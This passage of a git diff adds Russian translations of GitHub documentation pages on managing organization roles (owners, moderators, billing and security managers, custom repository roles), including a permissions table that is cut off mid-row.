электронной почты пользователя, которого вы хотите добавить, и нажмите **Отправить приглашение**. + ![Страница приглашения менеджеров по выставлению счетов](/assets/images/help/billing/billing_manager_invite.png) + +## Дополнительные материалы + +- [Приглашение пользователей к управлению организацией](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)"{% ifversion fpt %} в документации по {% data variables.product.prodname_ghe_cloud %}{% endif %} diff --git a/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md new file mode 100644 index 000000000000..d630f105fbaf --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md @@ -0,0 +1,33 @@ +--- +title: Управление доступом пользователей к ресурсам организации с помощью ролей +intro: 'Вы можете управлять доступом к параметрам и репозиториям организации, предоставляя пользователям роли организации, репозитория и команды.' +redirect_from: + - /articles/managing-people-s-access-to-your-organization-with-roles + - /articles/managing-peoples-access-to-your-organization-with-roles + - /github/setting-up-and-managing-organizations-and-teams/managing-peoples-access-to-your-organization-with-roles +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /roles-in-an-organization + - /about-custom-repository-roles + - /managing-custom-repository-roles-for-an-organization + - /maintaining-ownership-continuity-for-your-organization + - /adding-a-billing-manager-to-your-organization + - /removing-a-billing-manager-from-your-organization + - /managing-security-managers-in-your-organization + - /managing-moderators-in-your-organization +shortTitle: Manage access with roles +ms.openlocfilehash: b687648202fc9e01f99aec644e167e014c1261b1 +ms.sourcegitcommit: ca040a1871ab5e929b596686ef955b02c5afa051 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/02/2022 +ms.locfileid: '148131030' +--- + diff --git a/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization.md b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization.md new file mode 100644 index 000000000000..26fe1ae4ed08 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization.md @@ -0,0 +1,50 @@ +--- +title: Поддержание непрерывности владения для организации +intro: 'У организации может быть несколько владельцев, чтобы избежать перерывов в периоде владения.' +redirect_from: + - /articles/changing-a-person-s-role-to-owner + - /articles/changing-a-persons-role-to-owner + - /github/setting-up-and-managing-organizations-and-teams/changing-a-persons-role-to-owner + - /github/setting-up-and-managing-organizations-and-teams/managing-ownership-continuity-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/maintaining-ownership-continuity-for-your-organization +permissions: Organization owners can promote any member of an organization to an organization owner. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Maintain ownership continuity +ms.openlocfilehash: 636982e8985a79e617b01220df8a63256c874b70 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147885975' +--- +## Сведения о поддержании непрерывности владения для организации + +{% data reusables.organizations.org-ownership-recommendation %} + +Владельцы организации имеют полный административный доступ к организации. {% data reusables.organizations.new-org-permissions-more-info %} + +{% note %} + +**Примечание.** Как владелец организации, вы можете изменять роли других участников и владельцев организации. Свою собственную роль изменять нельзя. + +{% endnote %} + +{% ifversion enterprise-owner-join-org %} Если ваша организация относится к корпоративной учетной записи, любой владелец этого предприятия может назначить себя владельцем вашей организации. Дополнительные сведения см. в статье [Управление ролью в организации, принадлежащей предприятию](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise). +{% endif %} + +## Назначение владельца организации + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. Выберите одного или нескольких пользователей, которых нужно сделать владельцами. + ![Список участников с двумя выбранными участниками](/assets/images/help/teams/list-of-members-selected-bulk.png) +5. Откройте раскрывающееся меню над списком участников и нажмите **Изменить роль**. + ![Раскрывающееся меню с параметром удаления участников](/assets/images/help/teams/user-bulk-management-options.png) +6. Выберите новую роль для пользователя или пользователей и нажмите кнопку **Изменить роль**. + ![Переключатели с ролями владельца и участника и кнопка "Изменить роль"](/assets/images/help/teams/select-and-confirm-new-role-bulk.png) diff --git a/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md new file mode 100644 index 000000000000..7d844c438c91 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md @@ -0,0 +1,60 @@ +--- +title: Управление пользовательскими ролями репозитория для организации +intro: 'Вы можете создавать, изменять или удалять пользовательские роли репозитория для вашей организации.' +permissions: Organization owners can manage custom repository roles. +versions: + feature: custom-repository-roles +topics: + - Organizations + - Teams +shortTitle: Manage custom roles +redirect_from: + - /early-access/github/articles/managing-custom-repository-roles-for-an-organization +ms.openlocfilehash: f7f8be4eda3ecf62a1b587a509881f9fee1a463f +ms.sourcegitcommit: ca040a1871ab5e929b596686ef955b02c5afa051 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/02/2022 +ms.locfileid: '148131021' +--- +{% data reusables.organizations.custom-repo-roles-ghec-only %} + +## Пользовательские роли репозитория + +{% data reusables.organizations.about-custom-repo-roles %} Дополнительные сведения см. в разделе [Сведения о пользовательских ролях репозитория](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles). + +## Создание роли репозитория + +Чтобы создать роль репозитория, добавьте разрешения в наследуемую роль и присвойте этой пользовательской роли имя. + +{% data reusables.profile.access_profile %} {% data reusables.profile.access_org %} {% data reusables.organizations.org_settings %} {% data reusables.organizations.org-list %} {% data reusables.organizations.org-settings-repository-roles %} +5. Нажмите кнопку **Создать роль**. + ![Снимок экрана: кнопка "Создать роль"](/assets/images/help/organizations/repository-role-create-role.png) +4. В поле "Имя" введите имя роли репозитория. + ![Поле для ввода имени роли репозитория](/assets/images/help/organizations/repository-role-name.png) +5. В поле "Описание" введите описание роли репозитория. + ![Поле для ввода описания роли репозитория](/assets/images/help/organizations/repository-role-description.png) +6. В разделе "Выбор роли для наследования" выберите роль, которую нужно унаследовать. + ![Выбор базовой роли репозитория](/assets/images/help/organizations/repository-role-base-role-option.png) +7. В разделе "Добавить разрешения" в раскрывающемся меню выберите разрешения, которые нужно включить в пользовательскую роль. + ![Выбор уровней разрешений в раскрывающемся меню ролей репозитория](/assets/images/help/organizations/repository-role-drop-down.png) +7. Нажмите кнопку **Создать роль**. + ![Подтверждение создания роли репозитория](/assets/images/help/organizations/repository-role-creation-confirm.png) + +## Изменение роли репозитория + +{% data reusables.profile.access_profile %} {% data reusables.profile.access_org %} {% data reusables.organizations.org_settings %} {% data reusables.organizations.org-list %} {% data reusables.organizations.org-settings-repository-roles %} +3. Справа от роли, которую нужно изменить, щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем выберите **Изменить**. + ![Команда "Изменить" в раскрывающемся меню для ролей репозитория](/assets/images/help/organizations/repository-role-edit-setting.png) +4. Внесите изменения, а затем нажмите кнопку **Обновить роль**. + ![Изменение полей и обновление ролей репозитория](/assets/images/help/organizations/repository-role-update.png) + +## Удаление роли репозитория + +При удалении существующей роли репозитория все ожидающие приглашения, команды и пользователи с пользовательской ролью получат базовые разрешения организации. + +{% data reusables.profile.access_profile %} {% data reusables.profile.access_org %} {% data reusables.organizations.org_settings %} {% data reusables.organizations.org-list %} {% data reusables.organizations.org-settings-repository-roles %} +3. Справа от роли, которую нужно удалить, щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем выберите **Удалить**. + ![Команда "Удалить" в раскрывающемся меню для ролей репозитория](/assets/images/help/organizations/repository-role-delete-setting.png) +4. Просмотрите изменения для роли, которую нужно удалить, и нажмите кнопку **Удалить роль**. + ![Подтверждение удаления роли репозитория](/assets/images/help/organizations/repository-role-delete-confirm.png) diff --git a/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization.md b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization.md new file mode 100644 index 000000000000..c40252bb84f1 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization.md @@ -0,0 +1,44 @@ +--- +title: Управление модераторами в организации +intro: 'Можно предоставить отдельному лицу или команде в организации возможность блокировать и ограничивать доступ, назначив этому лицу или команде роль модератора.' +permissions: Organization owners can assign the moderator role. +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams + - Community +shortTitle: Managing moderators +ms.openlocfilehash: 9f4d3cc70560f3cd48f5ee9e1a31a452ae71b6aa +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147076723' +--- +## Сведения о модераторах организации + +Бывает, что нужно заблокировать участника совместной работы либо настроить ограничения на взаимодействия для вашей организации или отдельных репозиториев. Как владелец организации, вы можете выполнять эти задачи сами или делегировать их другим членам вашей организации. Для этого нужно назначить участнику организации или команде роль модератора. + +Модераторы организации могут выполнять следующие действия: +* Блокировка и разблокировка пользователей из организации. Дополнительные сведения см. в статье [Блокировка пользователя из организации](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization). +* Управление ограничениями на взаимодействия в организации. Дополнительные сведения см. в статье [Ограничение взаимодействий в организации](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization). +* Управление ограничениями на взаимодействия в репозитории. Дополнительные сведения см. в статье [Ограничение взаимодействий в репозитории](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository). +* Сокрытие комментариев во всех общедоступных репозиториях, принадлежащих организации. Дополнительные сведения см. в статье [Управление недопустимыми комментариями](/communities/moderating-comments-and-conversations/managing-disruptive-comments). + +Назначение модератором организации не дает никаких дополнительных возможностей, кроме того, что перечислено выше. Например, пользователь, имеющий доступ к репозиторию только для чтения, став модератором, не получит разрешение на запись. + +В качестве модераторов можно добавлять до десяти отдельных пользователей или групп. Если вы уже назначили десять отдельных пользователей и (или) команды в качестве пользователей и хотите добавить больше, их можно объединить в команду модераторов и назначить ее вместо одного или нескольких существующих модераторов. Дополнительные сведения см. в статье "[Создание команды](/organizations/organizing-members-into-teams/creating-a-team)". + +## Добавление модератора организации + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. В разделе "Доступ" на боковой панели выберите **{% octicon "report" aria-label="The report icon" %} Модерация** и нажмите **Модераторы**. +1. В разделе **Модераторы** найдите и выберите пользователя или команду, которым вы хотите назначить роль модератора. Каждый выбранный пользователь или команда появятся в списке под строкой поиска. + ![Поле поиска и список модераторов](/assets/images/help/organizations/add-moderators.png) + + +## Удаление модератора организации + +Выполните шаги 1–3, описанные выше, а затем нажмите **Удалить модератора** рядом с пользователем или командой, которых вы хотите удалить из числа модераторов. diff --git a/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md new file mode 100644 index 000000000000..6d9e44bf37d7 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md @@ -0,0 +1,55 @@ +--- +title: Managing security managers in your organization +intro: You can give your security team the least access they need to your organization by assigning a team to the security manager role. +versions: + feature: security-managers +topics: + - Organizations + - Teams +shortTitle: Security manager role +permissions: Organization owners can assign the security manager role. +--- + +{% data reusables.organizations.security-manager-beta-note %} + +{% data reusables.organizations.about-security-managers %} + +## Permissions for the security manager role + +Members of a team with the security manager role have only the permissions required to effectively manage security for the organization. + +- Read access on all repositories in the organization, in addition to any existing repository access +- Write access on all security alerts in the organization {% ifversion not fpt %} +- Access to the organization's security overview {% endif %} +- The ability to configure security settings at the organization level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %} +- The ability to configure security settings at the repository level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %} + +{% ifversion fpt %} +Additional functionality, including a security overview for the organization, is available in organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %}. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). +{% endif %} + +If a team has the security manager role, people with admin access to the team and a specific repository can change the team's level of access to that repository but cannot remove the access. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository){% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}" and "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."{% else %}."{% endif %} + + ![Manage repository access UI with security managers](/assets/images/help/organizations/repo-access-security-managers.png) + +## Assigning the security manager role to a team in your organization +You can assign the security manager role to a maximum of 10 teams in your organization. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security-and-analysis %} +1. Under **Security managers**, search for and select the team to give the role. Each team you select will appear in a list below the search bar. + ![Add security manager](/assets/images/help/organizations/add-security-managers.png) +## Removing the security manager role from a team in your organization + +{% warning %} + +**Warning:** Removing the security manager role from a team will remove the team's ability to manage security alerts and settings across the organization, but the team will retain read access to repositories that was granted when the role was assigned. You must remove any unwanted read access manually. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#removing-a-teams-access-to-a-repository)." + +{% endwarning %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security-and-analysis %} +1. Under **Security managers**, to the right of the team you want to remove as security managers, click {% octicon "x" aria-label="The X icon" %}. + ![Remove security managers](/assets/images/help/organizations/remove-security-managers.png) diff --git a/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization.md b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization.md new file mode 100644 index 000000000000..7ab9282181ce --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization.md @@ -0,0 +1,30 @@ +--- +title: Удаление менеджера выставления счетов из организации +intro: 'Если пользователю с ролью *менеджера по выставлению счетов* больше не нужно просматривать или изменять сведения о выставлении счетов вашей организации, вы можете удалить его права доступа к организации.' +redirect_from: + - /articles/removing-a-billing-manager-from-your-organization + - /github/setting-up-and-managing-organizations-and-teams/removing-a-billing-manager-from-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams + - Billing +shortTitle: Remove billing manager +ms.openlocfilehash: a67f8a5644c063f64235bb25044c8364c0daa657 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145119216' +--- +{% warning %} + +**Примечание.** {% data reusables.dotcom_billing.org-billing-perms %} + +{% endwarning %} + +{% data reusables.organizations.billing-settings %} +1. В списке «Менеджеры выставления счетов» в разделе «Управление выставлением счетов» рядом с именем пользователя, которого вы хотите удалить, нажмите кнопку **Удалить**. +![Удаление менеджера выставления счетов](/assets/images/help/billing/settings_billing_managers_remove_manager.png) diff --git a/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md new file mode 100644 index 000000000000..9db7bf842122 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md @@ -0,0 +1,237 @@ +--- +title: Роли в организации +intro: 'Владельцы организации могут назначать роли отдельным пользователям и командам, предоставляя им различные наборы разрешений в организации.' +redirect_from: + - /articles/permission-levels-for-an-organization-early-access-program + - /articles/permission-levels-for-an-organization + - /github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization + - /organizations/managing-peoples-access-to-your-organization-with-roles/permission-levels-for-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Roles in an organization +ms.openlocfilehash: c6c345e3d1f0fb2c49aa55e79346bc4ac6567885 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159176' +--- +## Роли +{% data reusables.organizations.about-roles %} + +Роли на уровне репозитория предоставляют участникам организации, сторонним участникам совместной работы и командам пользователей различные уровни доступа к репозиториям. Дополнительные сведения см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +Роли уровня команды — это роли, предоставляющие разрешения на управление командой. Вы можете назначить для любого отдельного участника команды роль координатора команды, которая предоставляет ряд административных разрешений для команды. Дополнительные сведения см. в разделе [Назначение роли координатора команды участнику команды](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member). + +Роли уровня организации — это наборы разрешений, которые можно назначить отдельным лицам или командам для управления как организацией, так и ее репозиториями, командами и параметрами. Дополнительные сведения обо всех ролях, доступных на уровне организации, см. в разделе [Роли организации](#about-organization-roles). + +## Роли организации + +Вы можете назначать для отдельных лиц или команд различные роли уровня организации, чтобы управлять доступом участников к своей организации и ее ресурсам. Дополнительные сведения об отдельных разрешениях, включенных в каждую роль, см. в разделе [Разрешения для ролей организации](#permissions-for-organization-roles). + +{% ifversion enterprise-owner-join-org %} Если ваша организация относится к корпоративной учетной записи, владельцы этого предприятия могут присоединиться к вашей организации с любой ролью. Дополнительные сведения см. в статье [Управление ролью в организации, принадлежащей предприятию](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise). +{% endif %} + +### Владельцы организации +Владельцы организации имеют полный административный доступ к вашей организации. Предоставление этой роли должно быть ограничено, но как минимум у двух человек в вашей организации она должна быть. Дополнительные сведения см. в статье [Поддержание непрерывности владения для организации](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization). + +### Участники организации +По умолчанию для участника организации предоставляется неадминистративная роль для пользователей в организации. По умолчанию участники организации имеют ряд разрешений, включая возможность создавать репозитории и доски проектов. + +{% ifversion fpt or ghec %} +### Модераторы организации +Модераторы — это участники организации, которые в дополнение к своим разрешениям для участников могут блокировать и разблокировать авторов, не являющихся участниками, устанавливать ограничения для взаимодействия и скрывать комментарии в общедоступных репозиториях, принадлежащих организации. Дополнительные сведения см. в разделе "[Управление модераторами в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization)". + +### Менеджеры по выставлению счетов +Менеджеры по выставлению счетов — это пользователи, которые могут управлять параметрами выставления счетов для вашей организации, такими как платежная информация. Это удобно, так как у членов вашей организации обычно нет доступа к ресурсам выставления счетов. Дополнительные сведения см. в статье [Добавление менеджера по выставлению счетов в организацию](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization). + +{% endif %} + +{% ifversion security-managers %} +### Менеджеры по безопасности + +{% data reusables.organizations.security-manager-beta-note %} + +{% data reusables.organizations.about-security-managers %} + +Если в вашей организации есть команда по обеспечению безопасности, вы можете использовать роль менеджера по безопасности, чтобы предоставить участникам команды минимально необходимый доступ к организации. Дополнительные сведения см. в статье [Управление менеджерами по безопасности в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). +{% endif %} +### Менеджеры {% data variables.product.prodname_github_app %} +По умолчанию только владельцы организации могут управлять параметрами {% data variables.product.prodname_github_apps %}, принадлежащих организации. Чтобы разрешить дополнительным пользователям управлять {% data variables.product.prodname_github_apps %}, принадлежащими организации, владелец может предоставить им разрешения менеджера {% data variables.product.prodname_github_app %}. + +При назначении пользователя менеджером {% data variables.product.prodname_github_app %} в организации вы можете предоставить ему разрешение для доступа, чтобы управлять параметрами некоторых или всех {% data variables.product.prodname_github_apps %}, принадлежащих организации. Дополнительные сведения см. в разделе: + +- [Добавление менеджеров приложений GitHub в организации](/articles/adding-github-app-managers-in-your-organization) +- [Удаление менеджеров приложений GitHub в организации](/articles/removing-github-app-managers-from-your-organization) + +### Сторонние участники совместной работы +Чтобы обеспечить безопасность данных организации при предоставлении доступа к репозиториям, можно добавить *внешних участников совместной работы*. {% data reusables.organizations.outside_collaborators_description %} + +## Разрешения для ролей организации + +{% ifversion fpt %} Некоторые функции, перечисленные ниже, доступны только организациям, использующим {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} {% endif %} + +{% ifversion fpt or ghec %} +<!-- Free/Pro/Team and GHEC versions have extra columns for Moderators and Billing managers--> + +| Разрешение организации | Владельцы | Элементы | Модераторы | Менеджеры по выставлению счетов | Менеджеры по безопасности | +|:------------------------|:------:|:-------:|:----------:|:----------------:|:-----------------:| +| Создание репозиториев (см. статью [Ограничение создания репозиториев в организации](/articles/restricting-repository-creation-in-your-organization)) | **X** | **X** | **X** | | **X** | +| Просмотр и изменение данных для выставления счетов | **X** | | | **X** | | +| Приглашение пользователей для присоединения к организации | **X** | | | | | +| Изменение и отмена приглашений для присоединения к организации | **X** | | | | | +| Удаление участников из организации | **X** | | | | | +| Восстановление бывших участников организации | **X** | | | | | +| Добавление и удаление пользователей изо **всех команд** | **X** | | | | | +| Продвижение участников организации до *координатора команды* | **X** | | | | | +| Настройка назначений проверки кода (см. статью [Управление назначением проверки кода для команды](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)) | **X** | | | | | +| Установка запланированных напоминаний (см. статью [Управление запланированными напоминаниями для запросов на вытягивание](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests)) | **X** | | | | | +| Добавление участников совместной работы во **все репозитории** | **X** | | | | | +| Доступ к журналу аудита организации | **X** | | | | | +| Изменение страницы профиля организации (см. статью [Сведения о профиле организации](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)) | **X** | | | | |{% ifversion ghec %} +| Проверка доменов организации (см. статью [Проверка домена организации](/articles/verifying-your-organization-s-domain)) | **X** | | | | | +| Ограничение уведомлений по электронной почте для проверенных или утвержденных доменов (см. статью [Ограничение уведомлений по электронной почте для организации](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)) | **X** | | | | |{% endif %} +| Удаление **всех команд** | **X** | | | | | +| Удаление учетной записи организации, включая все репозитории | **X** | | | | | +| Создание команд (см. статью [Настройка разрешений на создание команды в организации](/articles/setting-team-creation-permissions-in-your-organization)) | **X** | **X** | **X** | | **X** | +| [Перемещение команд в иерархии организации](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | | | | +| Создание досок проекта (см. статью [Разрешения для доступа к доске проекта в организации](/articles/project-board-permissions-for-an-organization)) | **X** | **X** | **X** | | **X** | +| Просмотр всех участников и команд организации | **X** | **X** | **X** | | **X** | +| @mention любой видимой команды | **X** | **X** | **X** | | **X** | +| Возможность создания *координатора команды* | **X** | **X** | **X** | | **X** |{% ifversion ghec %} +| Просмотр аналитических сведений организации (см. статью [Просмотр аналитических сведений для организации](/articles/viewing-insights-for-your-organization)) | **X** | **X** | **X** | | **X** |{% endif %} +| Просмотр и публикация общедоступных командных обсуждений для **всех команд** (см. статью [Сведения об обсуждениях в команде](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** | **X** | **X** | | **X** | +| Просмотр и публикация частных командных обсуждений для **всех команд** (см. статью [Сведения об обсуждениях в команде](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** | | | | | +| Изменение и удаление командных обсуждений во **всех командах** (см. статью [Управление отвлекающими комментариями](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** | | | | | +| Отключение обсуждений в команде для организации (см. статью [Отключение обсуждений в команде для организации](/articles/disabling-team-discussions-for-your-organization)) | **X** | | | | | +| Скрытие комментариев о записываемых фиксациях, запросах на вытягивание и проблемах (см. статью [Управление отвлекающими комментариями](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)) | **X** | **X** | **X** | | **X** | +| Скрытие комментариев обо _всех_ фиксациях, запросах на вытягивание и проблемах (см. статью [Управление отвлекающими комментариями](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)) | **X** | | **X** | | **X** | +| Блокировка и разблокировка авторов, не являющихся участниками (см. статью [Блокировка пользователя из организации](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)) | **X** | | **X** | | | +| Ограничение взаимодействий для определенных пользователей в общедоступных репозиториях (см. статью [Ограничение взаимодействий в организации](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)) | **X** | | **X** | | |{% ifversion ghec %} +| Управление просмотром аналитических сведений о зависимостях организации (см. статью [Изменение видимости аналитических сведений о зависимостях организации](/articles/changing-the-visibility-of-your-organizations-dependency-insights)) | **X** | | | | |{% endif %} +| Настройка изображения профиля команды во **всех командах** (см. статью [Настройка изображения профиля команды](/articles/setting-your-team-s-profile-picture)) | **X** | | | | | +| Учетные записи спонсоров и управление спонсорством организации (см. статью [Спонсорская поддержка участников разработки с открытым кодом](/sponsors/sponsoring-open-source-contributors)) | **X** | | | **X** | **X** | +| Управление обновлениями по электронной почте из спонсируемых учетных записей (см. статью [Управление обновлениями из учетных записей спонсоров организации](/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors)) | **X** | | | | | +| Применение атрибута спонсорской поддержки для другой организации (дополнительные сведения см. в статье [Применение атрибута спонсорской поддержки для организации](/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization)) | **X** | | | | | +| Управление публикацией сайтов {% data variables.product.prodname_pages %} из репозиториев в организации (см. статью [Управление публикацией сайтов {% data variables.product.prodname_pages %} для организации](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)) | **X** | | | | | +| Управление параметрами безопасности и анализа (см. статью [Управление параметрами безопасности и анализа для организации](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)) | **X** | | | | **X** | +| Просмотрите общие сведения о безопасности для организации (см. раздел [Общие сведения о безопасности](/code-security/security-overview/about-the-security-overview)). | **X** | | | | **X** |{% ifversion ghec %} +| Включение и принудительное применение [единого входа SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on) | **X** | | | | | +| [Управление SAML-доступом пользователей к организации](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) | **X** | | | | | +| Управление центрами сертификации SSH в организации (см. статью [Управление центрами сертификации SSH в организации](/articles/managing-your-organizations-ssh-certificate-authorities)) | **X** | | | | |{% endif %} +| Перенос репозиториев | **X** | | | | | +| Приобретение, установка, управление выставлением счетов и отмена приложений {% data variables.product.prodname_marketplace %} | **X** | | | | | +| Вывод списка приложений в {% data variables.product.prodname_marketplace %} | **X** | | | | | +| Получение [{% data variables.product.prodname_dependabot_alerts %} о небезопасных зависимостях](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) для всех репозиториев организации | **X** | | | | **X** | +| Управление {% data variables.product.prodname_dependabot_security_updates %} (см. статью [Сведения о {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)) | **X** | | | | **X** | +| [Управление политикой создания вилок](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) | **X** | | | | | +| [Ограничение действия в общедоступных репозиториях в организации](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization) | **X** | | | | | +| Вытягивание (чтение) *всех репозиториев* в организации | **X** | | | | **X** | +| Отправка (запись) и клонирование (копирование) *всех репозиториев* в организации | **X** | | | | | +| Преобразование участников организации во [внешних участников совместной работы](#outside-collaborators) | **X** | | | | | +| [Просмотр пользователей с доступом к репозиторию организации](/articles/viewing-people-with-access-to-your-repository) | **X** | | | | |{% ifversion ghec %} +| [Экспорт списка пользователей с доступом к репозиторию организации](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | | | | |{% endif %} +| Управление именем ветви по умолчанию (см. статью [Управление именем ветви по умолчанию для репозиториев в организации](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)) | **X** | | | | | +| Управление метками по умолчанию (см. статью [Управление метками по умолчанию для репозиториев в организации](/articles/managing-default-labels-for-repositories-in-your-organization)) | **X** | | | | |{% ifversion ghec %} +| Включение синхронизации команд (см. статью [Управление синхронизацией команд для организации](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)) | **X** | | | | |{% endif %} +| Управление проверками запросов на вытягивание в организации (см. статью [Управление проверками запросов на вытягивание в организации](/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization)) | **X** | | | | | + +{% elsif ghes or ghae %} +<!-- GHES 3.3+ and eventual GHAE release don't have the extra columns for Moderators and Billing managers. --> + +| Действие организации | Владельцы | Элементы | Менеджеры по 